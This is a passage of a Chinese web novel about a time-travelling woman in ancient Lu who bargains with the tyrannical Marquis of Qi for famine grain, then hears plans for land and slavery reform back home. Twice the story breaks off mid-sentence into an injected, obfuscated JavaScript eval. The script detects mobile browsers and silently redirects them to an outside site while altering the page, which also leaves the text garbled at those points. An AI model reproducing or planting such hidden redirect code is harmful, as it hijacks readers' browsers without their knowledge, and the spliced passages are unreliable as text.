百里奚立刻踏前一步,躬身阻拦,“外臣百里奚,奉寡君之命,辅佐夫人处理借粮事宜。两国邦交,自有章程礼制,于正殿商议即可,私室相叙,恐惹非议。” 姜诸儿眼皮都未抬一下,只盯着江雅,嘴角勾起一抹似笑非笑的弧度:“哦?百里先生是在教寡人行事?寡人与鲁夫人,乃兄妹至亲,叙叙家常,何来非议?” 他语气转冷,“还是说,鲁国此番并非诚心借粮,故而推三阻四?” 气氛瞬间凝滞。 “百里先生,” 江雅终于开口,声音平静毫无波澜,听不出任何情绪,“齐侯盛情,岂可推却。你在此等候便是。” “夫人!” 百里奚眼中闪过一丝焦急。 江雅却已转身,对着姜诸儿微微颔首:“有劳君上带路。” 后殿不似前殿那般开阔肃穆,更显精致,也更为私密。熏香的味道浓郁得有些腻人,殿内除了他们二人,再无侍从。 殿门甫一关上,姜诸儿那层伪装的平静便瞬间撕裂。他猛地转过身,眼中燃烧着积压了十数年的渴望与疯狂,一步上前就想将江雅拥入怀中。 “阿雅!” 一道冰冷的寒光,抵在了他的胸前。 姜诸儿动作僵住,愕然低头。却见江雅手中不知何时多出来一柄不过尺余长的短剑。 “你!你我分隔许久,甫一见面你就想行刺我?!” 他又惊又怒。 “并不是,”江雅将短剑从剑鞘中拔了出来,调转剑锋对向自己,眼神平静而又冰冷:“这把剑,是为我自己准备的。” 她看着他那双因欲望和愤怒而扭曲的眼睛:“我来,是为了借粮,救鲁国万千生灵。我知道,在你的眼中,我和鲁国没有什么对等的筹码,但是…” 她顿了顿,声音里带上了一种近乎自毁的决绝:“我有这副你‘朝思暮想’的妹妹的身体。” “你若愿坐下来,以国君之尊,好好商谈借粮之事,我洗耳恭听。你若想用强,” 她将短剑往前稍稍一送,抵住自己的脖子,锋利的剑刃划破少许皮肤,已然渗出一丝绚丽的嫣红,“那么,你得到的,只会是一具尸体。我江雅本就声名狼藉,死不足惜,只是可惜你将与你妹妹天人永隔!。” 姜诸儿向前一步死死地盯着江雅,愤怒地咆哮:“为什么!你之前不是这样的!你说过,你是这世上最懂我、最爱我的人!” 他的声音陡然拔高,带着一种被命运戏弄的狂怒:“这十几年来,不管宫中有多少美人,我看都没看她们一眼!父亲临终前都在骂我疯了,为了一个远在鲁国的女人,为了你,竟然要断了嫡系血脉!我日夜不停地处理国政,壮大国力,就是为了有一天,不再有人能把我们分开!” 他指着自己的胸口,那里似乎有什么东西正在碎裂开来,发出无声的悲鸣。“我守着这片你生长过的宫阙,看着花开花落,一年又一年,我告诉自己,我的阿雅,总有一天会回来,我一直在等这一天,而这一天也确实来临了!可现在你呢?!你不惜自残也要和我决裂!这不是你!这不是我想要的!事情不应该是这样的!这不公平!” 面对疯狂的姜诸儿,江雅冷静地后退半步,短剑眼见地往前又刺进半寸,她身体的姿态清晰地表明:只要姜诸儿再敢上前一步,她便会毫不犹豫地横向一抹,让这一切彻底终结。 姜诸儿看着这双决绝狠厉的眼睛,与当年出嫁鲁国的那个少女又渐渐重合,那张熟悉的脸庞,虽然历经沧桑,虽然疲惫不堪,却仍然是他朝思暮想的模样。 他胸腔里那股毁天灭地的疯狂,瞬间被一种更深沉、更无力的柔情与恐惧取代。他声音骤然低落下来,带着一丝不易察觉的哀求:“阿雅,虽然不知道为什么你会与之前判若两人,但我…还是深爱你的,别再伤害自己了,把剑放下,好吗?” 江雅却并不松手,“现在可以谈谈正事了么?” 姜诸儿见江雅不为所动,忽然发出一阵意味不明的长笑,“好,好!阿雅,你真是…你真是让为兄刮目相看!” 他走回主位坐下,换上了一种属于政治家的、冷酷而算计的面孔,“既然要谈公事,那便谈吧。” 他伸出三根手指,语气平淡,却字字如刀: “条件有三,任选其一。” “一,留下来陪我。陪一个月,便借与你一个月的粮。” “二,用鲁国‘遂’邑来换。一座城,换三个月的粮。” “三,” 他目光幽深,带着一丝探究和嘲弄,“王姬死前,口中一直喃喃地说道说什么与夫人的约定,什么《琼贻秘录》,听闻王姬在鲁国时与你寸步不离,你的那些于国家大有裨益的发明都由王姬一手整理,想必这本什么《琼贻秘录》,既是你们闺情的见证,也是你技术的结晶,”他兴奋地舔了舔嘴唇,“便用此物,来换三个月的粮。” 江雅心中巨震。 这个姜诸儿,绝不仅仅是个被情欲冲昏头脑的疯子,三个条件显然是经过深思熟虑,他有着毒蛇一般的阴毒,和狐狸一般的狡猾,难怪齐国能有如此强的国力。 江雅垂下眼睑,掩去眸中翻涌的情绪,声音依旧平静:“君上所列条件,事关重大。我,需考虑一二。” 夜色如墨,临淄城内的馆驿一片寂静,与白日齐宫的喧嚣形成鲜明对比。 江雅的房间内,灯烛未熄。她简单地与百里奚交代了姜诸儿提出的三个条件后,便将所有人屏退,再次陷入沉思。 百里奚看着江雅紧闭的房门,喉结滚动,最终只是化为一声几不可闻的叹息,自诩才比伊尹的他,第一次为自己的无能为力而陷入深深的自责。 室内,江雅独立窗前,望着窗外凄冷的月光,身影在烛光下拉得细长而孤寂,她又开始了漫长而痛苦的踱步。 她的脑海里又开始涌现各种声音。 一个声音高叫着:还犹豫什么呢?这有什么好犹豫的!就选第一个吧!不过是委屈自己,陪那个变态一阵子,就可以换得一大堆的粮食,可以救回鲁国无数的生命,这难道不是你想要的吗?这可是笔相当划算的买卖!自己身陷地狱,却可以挽救痛苦而又无辜的冤魂,这可是观音菩萨般的功德!你将获得无上的荣誉,你的故事将被永远传颂!况且,你不是来自现代嘛,什么贞洁观念对你来说不是不值一提吗?在那个笑贫不笑娼的年代,自己傍大款然后带着一家人过上好日子的例子还少吗?这又有什么了不起的?又有什么可耻的?大不了就当是被鬼压了!不过,姜诸儿不是长得还挺帅气的吗?他又那么钟情你。又有颜值,又有实力,这么深情的钻石王老五,去哪里找?以后你就心安理得地做金丝雀,锦衣玉食,再也不用管鲁国那档子破事了,什么发明,什么教育,什么天下苍生,那都是大男人们该做的事,你只需要负责貌美如花,何苦操那个心,操心可是会变老的! 江雅似乎有了答案,满意地坐了下来。 然而,另一个声音紧接着响起:你忘了阿琼是怎么死的了吗?!跟害死阿琼的刽子手同居一室?甚至委身于他?你晚上怎么会睡得着?你不怕阿琼的冤魂在你床边徘徊吗?还有,你好不容易救回来的儿子怎么办?自己敬重的母亲,却又回到了杀父仇人的身边?你敢看他失望的眼神吗?你要让他在别人鄙夷的目光下过一辈子吗? 江雅突然惊起,焦急地快走两步。 她仿佛能感受到姜诸儿那灼热而黏腻的目光在她身上逡巡,能闻到后殿那令人作呕的浓郁熏香,一阵强烈的恶心感涌了上来,她弯下腰,用力地捂住嘴,无声地呜咽。 最开始的声音又响了起来,它似乎叹了口气:那就选第二个条件吧,用“遂”邑交换。一个什么鸟不拉屎的地方,就可以换三个月的粮食,多划算啊!这既不用出卖□□,也不存在背叛挚友,看起来,这是最好的选择呢! 另一个声音适时在脑海中炸起:你敢!卖国求荣的事情,你现代的老爸要是知道了,肯定会跳起来甩你两耳光!你想当割地赔款的慈禧?他老人家可不想当缩头乌龟!你忘了他在九七年看到香港回归那一刻的眼泪了吗?你忘了他对台湾有多深的执念了吗?你要是敢这么干,就是对来自现代灵魂最彻底的背叛!而且,你要是带着用城邑交换来的粮食回去,百姓倒是会感激你,但是那些大夫们,那些宗妇们,会用唾沫星子淹死你!你的好儿子鲁同就等着退位谢罪吧!还有,“遂”邑可是边防重镇,要是归了齐国,那他们想要攻打鲁国,便随时可以进军,鲁国将永无宁日! 江雅痛苦地用双手按着太阳穴,她感觉脑袋快要炸开了。她走到窗户边,秋夜的晚风很凉,她发热的脑袋似乎稍微好了一点,然而脑海中的争吵并没有因此暂停。 那还说什么呢?没得选了,那就第三个吧。一本破书,换三个月的粮食,这总该是干净的买卖了吧,这总该没人说什么了吧! 放屁!那是阿琼的心血!那只是一本简单的书吗?那是阿琼视若生命托付给你的理想!这是你和阿琼之间超越生死超越时代的约定!把这个交出去?亏你想得出来!而且,里面记载了那么多的技术发明,把这个交给姜诸儿那个变态,这不是为虎作伥吗?他要是掌握了这些技术,你就失去你身位穿越者的最大的依仗了,他分分钟就可以灭掉你鲁国!那还不如就让你的鲁国上下都饿死呢!至少只祸害你一个国家! 算了,算了。不选了,不选了!你不过是来自异世界的过客,为什么要这么为难自己?这么苛刻的条件,换谁来都不好选,就此打道回府吧 !只要把条件说出来,相信不会有人因此而责备你的。回去好好睡一觉吧,第二天醒来,也许情况就不一样了呢?也许别的国家会肯借粮食了呢?再想想吧,总会有办法的。 江雅走到床边,开始收拾东西。 突然,她脑海里又泛起灾民那空洞麻木的眼神,她仿佛被烫到了一般,把刚收拾好的衣物又丢上床去。江雅忍不住双手环绕抱住自己,痛苦地蜷缩在冰冷的地板上。 她忽然很想念妈妈,她想让妈妈抱着她,拍着她的背,在耳边轻轻地哼唱。 她感觉好累,好想睡一觉,但是却一直头疼地睡不着。 身体、国土、信诺。 尊严、国格、情义。 每一个选择,都意味着要牺牲掉一部分她所珍视、所坚守的东西。她仿佛被架在烈火上炙烤,无论转向哪一边,都是钻心的疼痛。 是暂时保住清白之身?是保全一块冰冷的土地?还是守护一份炽热却已逝去的理想?或是躲进深宫里,逃避现实? 时间在煎熬中一点点流逝,窗外的天色由浓墨转为灰白。江雅又站起来来回踱步,思绪在几个痛苦的选项中反复撕扯,未曾合眼。 当第一缕晨光透过窗棂,映在她身上时,她眯着眼睛,望了望初升的太阳,似乎终于有了决定。 房门被轻轻推开,早已守候在外的小度端着热水走了进来。当她看清江雅的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529949|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子时,手中的铜盆“咣当”一声掉在地上,热水洒了一地。 “夫…夫人!您的头发!”小度指着江雅的鬓角,声音带着哭腔,眼泪瞬间涌了出来。 江雅微微一怔,走到梳妆台前。明亮的铜镜里,清晰地映出她的面容。一夜之间,她那原本乌黑如云的秀发,竟在双鬓处染上了霜白。那白色如此突兀,如此刺眼。 她静静地看了片刻,伸出手,轻轻拂过那缕白发,脸上没有任何惊讶或悲伤,反而露出一丝近乎淡漠的、无所谓的表情。 “慌什么,”她的声音因一夜未眠而有些沙哑,却异常平静,“只是双鬓白了而已。不得事。” 这时,百里奚也闻声快步走了进来。当他看到江雅鬓间的白发时,瞳孔猛地一缩,心脏像是被一只无形的手狠狠攥住,疼得他几乎无法呼吸。他垂下眼睑,掩饰住眸中翻涌的心疼。 漂泊多年,受尽白眼,深陷黑暗时他没哭;被江雅从奴隶身份解救出来,授予他上大夫名号时他没哭;被鲁同在朝堂上举行册命礼,捧过代表身份的冕服时他没哭;这一刻,在看到江雅变白的双鬓时,他的泪水却忽然如同溃堤的河水,止不住的的流淌。 “哭什么,男子汉大丈夫,流血流汗不流泪,有什么好哭的,我还没死呢!把眼泪擦掉,让齐国人看见会笑话的。” “夫人…”百里奚强忍住哽咽,站直身体“奚,思虑再三,有几句话,不得不禀。” “讲。”江雅转身,目光平静地看向他。 “第一,无论夫人作何抉择,百里奚,必誓死追随,永无二心!”他看向江雅,眼神坚定。 “第二,”他深知此时悲伤与自责于江雅毫无益处,迅速地恢复谋士的身份,“无论选择哪一条,于夫人清誉皆有所损。或讥夫人卖身,或谤夫人卖国,或诋夫人背信。故,奚建议,一旦定议,必须要求齐侯立即装载部分粮食,随我等先行返回鲁国。此举一可解我国燃眉之急,安抚民心;二可向国人昭示,夫人此行确为解困而来,虽有代价,但粮食实至,或可挽回部分声誉。” “第三,”百里奚抬起头,目光灼灼,“不仅要借粮,更要请齐侯下令,打开对鲁国的粮食封锁,允许我国商贾就近向各国购粮。只要流通一开,民间活力自生,结合这批借贷的粮食,或可支撑到明年夏粮收获,全国盘活!” 江雅听着,眼中终于闪过一丝微光。百里奚不愧是百里奚,在绝境中,依然能为她、为鲁国谋划到这一步。他不仅考虑了眼前的生存,更考虑了未来的活路,以及她个人的名节。这份细致与忠诚,让她冰封的心感受到一丝暖意。 “先生所言,甚合我意。”江雅点了点头,“准备一下,我们再入齐宫。” 齐宫后殿,依旧是只有他们二人。 姜诸儿好整以暇地看着江雅,目光在她鬓角的白发上停留了一瞬,闪过一丝复杂难明的情绪,“阿雅,考虑得如何了?” 江雅面色平静无波,开门见山:“我选第三条。以《琼贻秘录》,交换三个月的粮食。” “《琼贻秘录》,”姜诸儿低声重复了一遍,随即嘴角勾起一抹苦涩的弧度,“所以,你始终还是不愿意留下来陪我。”他随即眼里闪过一丝狠厉,“你就不怕我用你发明的技术,再打到鲁国去?届时,我就把你绑回来!” 江雅无视他的叫嚣,继续用她那平静却不容置疑的语气说道:“此外,我也有三个条件。” “其一,粮食需分批次装车,首批立即随我返回鲁国。” “其二,齐国必须即刻解除对鲁国的粮食封锁,允许鲁国自由向周边国家购粮。” “其三,”江雅的目光陡然变得锐利,直直射向姜诸儿,“我要带回王姬的遗体。” 姜诸儿脸上的笑容瞬间消失,眼神变得阴鸷。他死死盯着江雅,半晌,忽然发出一声冷笑:“呵呵…阿雅,你就这么在乎她?我还比不上一个死人?你甚至不愿意留下来陪我!” 他站起身,缓缓踱步到江雅面前,带着一种近乎邪恶的语调:“前两个条件,我允了。粮食会给你,封锁也会解除。但是…王姬的遗体,不行。” 他看着江雅骤然握紧的拳头,满意地笑了:“我要留着她。有她在临淄,你就总会想着这里,念着这里,不是吗?寡人可不想你一回鲁国,就把为兄忘得一干二净。”他用指尖轻轻拂过江雅鬓边的白发,声音低沉而充满占有欲,“这缕白发,倒是别有一番风情,你在我心里,你永远是那么美丽…记住,阿雅,我们从小就深爱彼此,你永远都别想彻底摆脱我。” 江雅闭上眼,深吸一口气,强压下心头的怒火与悲怆。她知道,这已经是目前能争取到的最好结果。带回阿琼的愿望,终究是落空了。 返回鲁国的官道上。 几辆马车正辘辘前行。其中一辆车上,装载着首批救急的粮食。另一辆较为宽敞的马车内,江雅、百里奚和小度同乘。 江雅掀开车帘,看了一眼后方载粮的车辆,然后轻轻放下帘子,她吁了口气,脸上挤出一丝笑意:“总算…不辱使命。这些粮食,至少能救活不少人。” 小度低着头,偷偷抹泪,不敢让江雅看见。 百里奚坐在对面,目光却始终无法从江雅那刺眼的白发上移开。那缕缕银丝,在车厢昏暗的光线下,依然清晰可见,像是一夜风霜刻下的印记,诉说着无人能知的煎熬与抉择。他看着她强装出的平静与轻松,心脏一阵阵地抽痛,所有的劝慰和言辞在此刻都显得苍白无力。 他只能沉默着,将那份汹涌的心疼、自责与更深沉的情感,死死地压在心底,化作一声无声的叹息,随着马车的颠簸,消散在归途的尘埃里。 马车继续向前,载着来之不易的粮食,也载着无法言说的牺牲与沉痛,驶向那个等待拯救的、满目疮痍的国家。 26. 第二十六章 鲁冰花 马车辘辘,驶离临淄渐远,车外“护送”的齐军也终于折返。车厢内,那股由强权压迫带来的窒息感稍稍缓解,取而代之的,是归途的沉闷与牺牲过后深入骨髓的疲惫。 江雅靠着车壁,目光落在窗外荒芜的田野上,她忽然开口,打破了沉默:“百里先生,我最终选的,是第三条。” 百里奚坐在对面,闻言微微一怔。他虽猜到江雅大概率不会选择前两条绝路,但是能与那两个条件并列第三,显然也是不一个简单的事物。那本书,他虽未窥全貌,却知是王姬与江雅的心血所系,意义非凡。 江雅转过头,对上百里奚忧虑的目光,脸上浮现出一抹苦涩至极的笑,“先生可知,《琼贻秘录》究竟是何物?” 不等百里奚回答,她便自顾自地说了下去,声音里带着一种痛苦的回忆:“那是王姬为我整理记录的,一些超越这个时代的知识。比如改良冶铁之法,以及据此打造的新式农具、兵器,其中有能让耕作效率倍增的曲辕犁,能让射程更远、力道更强的弓箭。” 她顿了顿,眼中忧色更浓:“我将此物交给齐侯,无异于亲手为猛虎添上翼爪。齐国本就强盛,若再得此等技术,假以时日,天下谁还能制?我今日救鲁,他日,是否会酿成更大的祸患?” 这份担忧,在她交出《秘录》后便一直啃噬着她的内心。 百里奚静静地听着,他并没有立刻出言安慰,而是陷入了沉思。 片刻后,他抬起眼,目光已恢复了一贯的冷静与睿智:“夫人所虑,确是深远。但是,奚以为,夫人或可暂宽心怀。” “哦?” 江雅精神微振,身体不自觉地前倾,“先生有何见解?” “技术虽好,然欲将其化为国力,绝非易事。” 百里奚的声音平稳而清晰,“其一,在于‘知’。齐国工匠,能否理解夫人书中那些精妙原理?若无通晓其理之人指导,照猫画虎,恐事倍功半,甚至画虎类犬。此非识字即可,需彻底‘理解’。” “其二,在于‘物’。巧妇难为无米之炊。优良的铁器,需上佳的铁矿石,冶炼需稳定的煤炭供应。齐国境内,是否有易于开采的矿藏?其现有的矿脉品质如何?若原料不济,技术便是空中楼阁。” “其三,在于‘人’。新式农具分发下去,农夫是否愿意放弃沿用已久的旧器?心中可有疑虑?变革之初,必有阻力。此为民心接受之困。” “其四,在于‘利’。即便造出少量精品,如何分配?是先装备军队,还是先普及农事?齐国公族、卿大夫众多,利益盘根错节,如此利器,必引争夺。内部分配不均,便是祸端之始。” “故而,” 百里奚总结道,“奚断定,齐国纵得《秘录》,三五年内,难有质变。而长久看来,” 他目光灼灼地看向江雅,“奚更相信,以夫人之能,现在既能写出此书,他日必能推陈出新,远胜今日之《秘录》。知识如活水,贵在奔流不息,而非固守一潭。夫人,才是鲁国真正的、永不枯竭的‘秘录’。” 这番话,如春风化雨,润泽了江雅干涸焦虑的心田。她眸中的阴霾消散大半,取而代之的是一种被点醒后的清明。她长吁一口气:“听先生一席话,茅塞顿开。” 但是转念一想,齐国遇到的困境,鲁国一样也会有,她随即追问:“那依先生之见,我鲁国若想推行此等技术,又当如何规避这些困境?” 百里奚看江雅已从自责与忧虑中挣脱,心中也宽慰不少,便将自己的思考和盘托出。 “夫人问到了关键。归根结底,一切困境,皆系于‘人’。” 他伸出四根手指: “其一,‘以粮聚人’。我们需继续设法收购粮食,同时广布仁政,吸引周边因战乱、饥荒流离的难民,乃至购买身强体壮的奴隶。以此为基础人力,从事开矿、锻造、兴修水利等基础劳役。人,是根基。” “其二,‘以器固本’。待新式农具产出,由国家统一调配,优先保障‘公田’使用,配以耕牛,大幅提升公田产出。收获之粮,于各地广建粮仓,丰年储,荒年放。此举不仅为应对饥荒,更要做到‘仓廪实’,永远杜绝今日之辱再演!公田产量大增,国力自然强盛。” “其三,‘以利驱贵’。贵族见公田丰收,必觊觎新农具。我等不必严防死守,反而可由国家出面,将农具售卖给贵族,并鼓励、甚至资助他们用以开垦荒地。对新垦之地,国家可收取一定赋税。如此,将贵族的私心贪欲,引导至扩大耕地、增加国赋的正途,化阻力为助力。” “其四,‘以兵强干’。农具普及,效率提升,必能解放部分劳力。可从这些冗余劳力中,择优选拔身体强健、忠心可靠者,组建一支直接隶属于国君的精锐新军。他们装备最精良的武器,进行最严格的训练。此军一成,国君权威大增,足以震慑内外不臣之心。” 江雅听得心潮澎湃,之前的迷茫与沉重已被一幅清晰、可行且充满希望的强国蓝图所取代。她望着百里奚,眼中闪烁着由衷的敬佩与庆幸的光芒,轻声叹道:“得遇先生,实乃江雅之幸。鲁国之幸。” 然而,百里奚的话并未结束,他看着江雅变白的双鬓,不由又垂下眼眸。 他收拾了一下情绪,抬起眼又继续说道:“然而夫人,以上四法,仍是‘术’。若想真正让鲁国脱胎换骨,于列国间崛起,则必须行‘改制’之道。” “改制?”江雅心头一跳,这个词所蕴含的能量与风险,让她本能地感到一丝凛然。 “正是。”百里奚深吸一口气,眼神无比锐利,“新技术如同奔涌的洪流,旧的河道——制度——已无法容纳,强行约束,只会堤毁人亡。我们必须开凿新的河道,方能引水溉田,化为己用。此改制,有二。” “其一,改‘人身’之制:释私奴,以充公室。” “如今各国,乃至我鲁国,大量人口束缚于卿大夫之家为奴为仆,公室直接掌控的编户齐民反而不足。此乃公室衰弱、政出多门之源。我们可借打造新军、兴修水利、开矿冶铁之名,颁布《释奴令》:凡贵族释私奴以充公室劳役或新军者,可按人头折算,优先、低价获得新式铁质农具,或抵扣部分新垦荒地之赋税。同时向被释放的奴隶承诺,凡投身公室工程满三年者,可脱奴籍,授田成为‘良人’。” 他看向江雅,解释道:“此策之妙,在于一石三鸟。一,明尊王室:将贵族私属之民,变为效忠国君之力。二,汇聚人心:给底层民众以希望和晋升之阶,他们必将为公室死力。三,瓦解旧势:贵族为实利,必愿放出部分奴隶,其势力根基由此松动。我们是以他们无法充分利用的‘人力’,换取他们极度渴望的‘地力’。” “其二,改‘土地’之制:破井田,以尽地利。” “现行的井田制,公田依赖庶民无偿劳作,效率低下,民有怨心,公田日益荒芜。如今既有新农具、新劳力,井田已如朽木,不堪再用。我们可在公田及新垦荒地上,率先废除井田,推行‘税亩制’与‘永业田’!” “税亩制,即不分公田、私田,一律‘按亩征税’。民之所耕,皆为己有,只需按产量向国家缴纳十一之税。如此,民知劳作皆为自己,必尽心竭力,土地产出可倍增!” “行‘永业田’,即授予民众土地永久使用权,可父子相传!如此一来,民众才会视田为家业,愿意投入心血进行长期改良,施肥、休耕、兴修小型水利,地利方能发挥到极致!” 百里奚的声音逐渐激昂:“夫人,试想!当无数挣脱束缚的‘新人’,在属于自己的‘新田’上,挥舞着高效的‘新器’,那迸发出的,将是何等磅礴的力量?那产出的粮食,将能养活多少军队与人口?届时,鲁国将永无兵戈饥荒之患!” 他最终沉声道:“此二制,看似惊世骇俗,实则是将新技术之‘利’,与我鲁国公室之‘威’,以及万民求存之‘心’,三者拧成一股无可匹敌的绳索。如此,方不负夫人断腕牺牲换来的这次机遇,方能真正让鲁国,凤凰涅槃,死而后生!” 江雅彻底震撼了。 她看着百里奚,仿佛第一次真正认识到这位自己捡回来的谋士。他思考的早已不是一城一池的得失,甚至不是一代霸业的兴衰,而是在为鲁国重塑国本。他将技术、制度、人心完美地编织在一起,描绘出了一条跨越时代的强国之路。 她的声音因激动而微微发颤,目光却无比明亮:“能得先生辅佐,非鲁国之幸,实乃天命在鲁!就依先生之策,我们,放手去做!” 回到鲁国国都。 首批粮食的及时运抵,如同久旱甘霖,暂时缓解了席卷全国的饥荒。虽然问题远未根本解决,但希望已然播下。朝野上下,皆知此番危局得以缓解,全赖江雅只身赴齐,忍辱负重。她归国时鬓角那刺目的霜白,更是无声地诉说着其中的艰辛与牺牲。一时间,民间感念其恩德,江雅的声望达到了前所未有的高度。 然而,庙堂之上,从无真正的风平浪静。 这一日朝会,议定了几项赈灾安民的紧急措施后,气氛稍缓。突然,申需出列,声音带着一贯的尖锐: “夫人此行,解我鲁国倒悬之急,功在社稷,臣等感佩。” 顿了顿,话锋随即一转,“但是,臣记得,夫人在匠作区亲口许诺,《琼贻秘录》乃安邦定国之秘术,关乎国运,绝不外泄。如今,夫人却以此物资敌,换取粮食。臣愚钝,敢问夫人,如今齐国得此奇书,如虎添翼,他日若以此术反制我鲁,我等该当如何?夫人此举,岂非饮鸩止渴,徒解眼前之渴,而种未来无穷之祸患?” 此言一出,满殿皆静。连鲁同也面露忧色,显然申需此言,也道出了他们心中的隐忧。 所有目光再次聚焦到了江雅身上。 面对这蓄意的刁难,江雅并未动怒。她缓缓站起,目光平静地扫过姬挥,扫过申需,扫过满朝大夫。 “申大夫所虑,确是谋国之言,但是,”她不经意地捋了捋鬓边的银丝,“我在齐国临淄也是思之再三。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鲁友迈着小步子,跑到江雅面前,先冲鲁同行了个礼,“见过君上!”然后又向江雅行了个礼,“见过夫人。” 江雅看着这个乖巧的小孩子,疲惫的心仿佛也变得柔软了,她蹲下身子,摸了摸鲁友的小脑袋,笑着问道:“友儿,有什么事情找我吗?你娘亲怎么没来?” 鲁友似乎瘦了点,显得一双眼睛格外地大,他用稚嫩的声音回答道:“我是来感谢夫人的,感谢您带回来的粮食,娘亲再也不用饿着自己,省下粮食给我吃了!” 江雅心一沉,焦急地问道:“你娘亲怎么了?” “之前因为粮食不够吃,娘亲就把她的那份省下来给我吃,她自己就喝一些水、米汤,现在她双腿已经肿地走不了路了…”鲁友一边说,一边哭,“娘亲还说…还说…让我不要来打扰夫人休息,但是我…我就是想来…想亲口谢谢夫人,有了您带回来的粮食,娘亲就不会饿死了!” 江雅陡然感到一阵痛心,没想到,饥荒都蔓延到鲁宫了,难怪刚才看鲁同也消瘦了许多。 看着明显疲惫不堪的江雅,鲁友又急忙解释:“是我自己要来的,不关娘亲的事,您不要怪我娘亲!娘亲她下不了床,拦不住我!” “没关系的,”江雅勉强展颜一笑,怜惜地揩去鲁友脸上的泪水,“友儿这么乖,我又怎么会怪你呢!” 鲁友闻言宽心不少,抬眼看了看江雅,扭扭捏捏地欲言又止。 “友儿还有什么事情吗?”江雅看出鲁友的犹豫,开口问道。 “呃…我想让夫人给我一个东西,”鲁友连忙摇手,“不是要吃的,娘亲说粮食已经够了,我是想,”鲁友挠了挠脑袋,不好意思地继续说道:“我是想要一个有纪念意义的东西,给娘亲做礼物,娘亲节省粮食给我吃,实在是太伟大了,可我又实在没什么拿得出手的好东西,娘亲曾经说过,夫人是这个世界上最聪明的人,所以我就想过来谢谢夫人,顺便看看夫人能不能帮帮我。” 江雅看着眼前这个忐忑不安的小不点,不由得想起自己小时候,省吃俭用给自己买娃哈哈的妈妈,在齐国坚强地像一块顽石的她,此刻眼里忽然闪起泪光。 良久,她平复了一下心情,柔声说到:“那我就教友儿唱一首歌颂母亲的歌吧。” “好呀,好呀!”鲁友开心地拍手。 熟悉的旋律在脑海里再次响起,江雅强忍住哽咽,开口唱到: “夜夜想起妈妈的话 闪闪的泪光鲁冰花 天上的星星不说话 地上的娃娃想妈妈 天上的眼睛眨呀眨 妈妈的心啊鲁冰花 家乡的茶园开满花 妈妈的心肝在天涯 夜夜想起妈妈的话 闪闪的泪光鲁冰花” 鲁友一边拍着手,一边努力地跟着学,边上的鲁同望向母亲两鬓的白发,听着却是泪如雨下。 27. 第二十七章 齐侯之死 夜风呼啸,刮过宫阙的飞檐,发出呜咽般的声响。齐宫深处,灯火阑珊,唯有国君寝殿依旧亮着。 姜诸儿斜倚在榻上,手中的酒杯斟满又空,空又斟满。偌大的殿中,只有他一个人。空气中弥漫着一股酒气,却驱不散他眉宇间积郁的阴霾。 案几上,那本《琼贻秘录》静静摊开着,上面绘着精妙的图形与符号。他的指尖拂过纸面,动作轻柔,并不像一个喝醉的人,但眼神却是空洞得可怕。 他举起酒杯,再次一饮而尽。自从那个鬓染霜华的身影决绝离去,这无尽的夜晚便只能用甘醇的美酒来填满,可醉意越深,记忆里那双决绝的眼睛就越是清晰。 “阿雅…”他喃喃自语,声音嘶哑,“为什么你不肯留下来陪我?明明已经无人可以阻止我们了,为什么?” 无人回应。只有殿外狂风的呜咽声,像是无声的叹息。 殿外,几个守夜的内侍围在一起。 其中一个搂着双肩,走来走去,不住地哆嗦,“陈大人,这天实在太冷了,能不能赏口酒来暖和暖和。” 陈费闻言,扬手一个耳光打过去,“彭大胆,你胆子这么大,还怕冷啊!”看着舔着脸又走回来的彭大胆,陈费无奈,从腰间解下一个酒葫芦,“就一口啊,还要守夜呢!” “多谢陈大人!”彭大胆闻言大喜,双手接过,马上咕咚咕咚地连灌几口,陈费无奈,随口骂道:“憨货!知道天冷,不知道添衣么!” 边上其余的内侍跟着一阵笑骂。 “嗝!”彭大胆满足地打个酒嗝,几口烈酒下肚,身上总算有些许暖意,他满不在乎地摆摆手,“昨天还是晴空万里,谁知道今天怎么突然就这么冷了,这鬼天气!”他看了看天色,“比咱们君上的脸色变得还快!” “你这下贱的蠢货!”陈费闻言冒火,一脚踹倒彭大胆,伸手还想找什么接着去打他,却被旁人劝住,“喝了两口黄汤,就不知道自己是谁了!君上岂是你能拿来调笑的!” 彭大胆揉着屁股起身,忙不迭地给自己两耳光,“是是是,酒劲上来了,这嘴巴没个把门的,陈大人可别跟我一般见识。” 一场闹剧渐歇,夜色更深了。 忽然一阵狂风吹过,一盏油灯被吹倒,发出哐当一声响。 彭大胆一个激灵,忍不住尖叫一声,被吓得跳了起来。 边上的内侍一阵哄笑,陈费又是骂道:“蠢货,这也能被吓到,枉你还叫陈大胆呢!” “不是啊,陈大人,我前几天听一些宫女说,最近宫里不太平,”彭大胆继续凑近了说道:“一些宫女说,最近老是听见一阵断断续续的哭声,真去细查,又查不到什么,还有些宫女说,听那声音像,”他左右瞟了瞟,确认边上没什么不干净的东西,“像公子彭生呢!” “胡说八道!”陈费不以为然,却是不自觉地扯紧了衣服。 “一些宫女说,是前些日子雅公主回来了,看着君上和雅公主再度重聚,公子彭生的冤魂气不过,回来索命来啦!陈大人,你忘了么,”彭大胆忽然一把抓住陈费的手,“公子彭生那血淋淋的脑袋,还是你捧进去给君上的呢!你忘了他死之前那悲惨而凄厉的叫喊了么!” 陈费面色大变,一把推开彭大胆的手,仓皇而去。 夜风刮过飞檐,继续发出呜咽般的声响,似惋惜的长叹,似幽怨的控诉。 数日后,贝丘猎场。 